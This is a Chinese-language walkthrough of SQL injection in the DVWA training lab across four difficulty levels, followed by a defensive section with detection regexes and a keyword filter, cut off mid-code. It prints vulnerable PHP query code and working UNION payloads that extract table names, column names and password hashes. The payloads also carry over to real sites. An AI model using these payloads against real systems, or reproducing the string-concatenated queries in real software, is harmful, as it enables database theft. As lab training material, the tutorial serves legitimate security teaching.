本文教程由五个部分组成:
dvwa SQL注入漏洞低级教程 SQL Injection Low
dvwa SQL注入漏洞中级教程 SQL Injection medium
dvwa SQL注入漏洞高级教程 SQL Injection High
dvwa SQL注入漏洞不可能破解教程 SQL Injection impossible
dvwa SQL注入漏洞WEB安全参考 SQL Injection Safety Guide
系列教程说明
WEB渗透测试DVWA漏洞靶场通关系列教程
描述:dvwa 靶场介绍、dvwa 靶场安装、dvwa 靶场使用教程说明
点击这里
,合在一起的。向本号回复“
dvwa
”将会获得最新更新系列文章;
第一部分 dvwa SQL注入漏洞低级教程
大家好,今天我们要学习SQL注入,我想大家应该都听说过吧,这个的名气还是很大的。
什么是SQL注入
SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
还是老规矩我们先来看看代码吧。
if ( isset ( $_REQUEST[ 'Submit' ] ) ) { $id = $_REQUEST[ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $query ) or die ( '' . ((is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_error($GLOBALS["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '
' );
while
( $row = mysqli_fetch_assoc( $result ) ) {
$first = $row[
"first_name"
];
$last = $row[
"last_name"
];
echo
"
ID: {$id} First name: {$first} Surname: {$last}
"
;
}
mysqli_close($GLOBALS[
"___mysqli_ston"
]);
}
?>
从下面的代码中我们可以知道是字符型注入。
$id = $_REQUEST [ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id ';" ;
我们来试试看。
我们提交 1' and '1'='1 的时候正常,提交1' and '1'='2 是空的 说明是有注入的。那我们来看看能不能得到别的信息吧。
1.猜解SQL查询语句中的字段数
用 order by 语句
我们用order by 语句查询的时候发现在3出错,那就意味着字段数为2.
2.确定显示的字段顺序
说明是firstname ,surname这个顺序。
3.获取当前数据库
用联合查询
1' union select 1 ,datebase()
好了dvwa是数据库的名,我们继续吧。
4.获取数据库中的表
1' union select 1 ,group_concat (table_name) from information_schema.tables where table_schema=database
()
我们用这个语句来查询。
成功获得两个表名
5.字段名
用这个语句查询
1' union select 1 ,group_concat (column_name) from information_schema.columns where table_name='users'
6.账户密码
用这个语句
1' or 1=1 union select group_concat (user_id,first_name,last_name),group_concat (password ) from users
哈哈,最后一步是很激动的,大家一起去试试看。
第二部分 dvwa SQL注入漏洞中级教程
话不多说,我们看中级代码。
if ( isset ( $_POST[ 'Submit' ] ) ) { $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $query) or die ( '' . mysqli_error($GLOBALS["___mysqli_ston" ]) . '
' );
while
( $row = mysqli_fetch_assoc( $result ) ) {
$first = $row[
"first_name"
];
$last = $row[
"last_name"
];
echo
"
ID: {$id} First name: {$first} Surname: {$last}
"
;
}
}
$query =
"SELECT COUNT(*) FROM users;"
;
$result = mysqli_query($GLOBALS[
"___mysqli_ston"
], $query )
or
die
(
'
'
. ((is_object($GLOBALS[
"___mysqli_ston"
])) ? mysqli_error($GLOBALS[
"___mysqli_ston"
]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res :
false
)) .
''
);
$number_of_rows = mysqli_fetch_row( $result )[
0
];
mysqli_close($GLOBALS[
"___mysqli_ston"
]);
?>
从下面的代码我们知道是数字型注入。
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id ;";
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
而且前端用了下拉菜单,控制用户的输入。
但是我们可以直接抓包修改。
看到了没有直接提交
后面的步骤和低级差不多只是不要单引号了。
一直到这里都和前面一样但是呢,接着看。
我们获取字段的时候单引号被转义了,但是我们可以进行16进制编码。
这样就欧克了。
然后最后一步了。
大家去试试看吧。
第三部分 dvwa SQL注入漏洞高级教程
我们来看看高级的代码吧。
if ( isset ( $_SESSION [ 'id' ] ) ) { $id = $_SESSION[ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $query ) or die ( 'Something went wrong. ' ); while ( $row = mysqli_fetch_assoc( $result ) ) { $first = $row["first_name" ]; $last = $row["last_name" ]; echo "ID: {$id} First name: {$first} Surname: {$last} " ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston" ]))) ? false : $___mysqli_res); } ?>
就加了个 LIMIT 1,我们可以用#注释掉,步骤和低级一样,只是在最后你注入的代码中输入 #就行了,我们直接进行最后一步。
第四部分 dvwa SQL注入漏洞不可能破解教程
来看看不可能的代码
if ( isset ( $_GET[ 'Submit' ] ) ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $id = $_GET[ 'id' ]; if (is_numeric( $id )) { $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id' , $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); if ( $data->rowCount() == 1 ) { $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; echo "ID: {$id} First name: {$first} Surname: {$last} " ; } } } generateSessionToken(); ?>
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
第五部分 dvwa SQL注入漏洞WEB安全参考
我们来看看有哪些防卫机制
1.预防数字注入:
很简单,因为ColID字段的类型是int的,那么我们只需要验证一下传递过来的id是不是整数就可以了。是整数就不存在注入;如果不是那么就有可能存在注入。即使不存在注入,把一个不是整数的id拼接进去也会造成执行错误。所以说不管是不是为了预防SQL注入,也都应该验证id是不是整数。
验证方法嘛,可以用TryParse,可以用正则,也可以自己写函数验证。但是不建议用try异常的方式,因为这个有效率问题。
这里还有一个特殊情况,就是对于批量删除这类的会传递过来多个数字,比如“1,2,3,10”,这个也需要验证一下,万一有人利用这个漏洞呢。至于验证方法也很简单,自己写个函数就ok了。
2.使用正则表达式过滤传入的参数
要引入的包:
import java.util.regex.*;
正则表达式:
private String CHECKSQL = “^(.+)\sand\s(.+)|(.+)\sor(.+)\s$”;
判断是否匹配:
Pattern.matches(CHECKSQL,targerStr);
下面是具体的正则表达式:
检测SQL meta-characters的正则表达式 :
/(\%27)|(\’)|(--)|(\%23)|(#)/ix
修正检测SQL meta-characters的正则表达式 :/((\%3D)|(=))[^\n]((\%27)|(\’)|(--)|(\%3B)|(:))/i
典型的SQL 注入攻击的正则表达式 :/\w((\%27)|(\’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
检测SQL注入,UNION查询关键字的正则表达式 :/((\%27)|(\’))union/ix(\%27)|(\’)
检测MS SQL Server SQL注入攻击的正则表达式:
/exec(\s|+)+(s|x)p\w+/ix
等等…..
3.字符串过滤
比较通用的一个方法:
(||之间的参数可以根据自己程序的需要添加)
public static boolean sql_inj(String str) { String inj_str = "'|and|exec|insert|select|delete|update| count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|," ; String inj_stra[] = split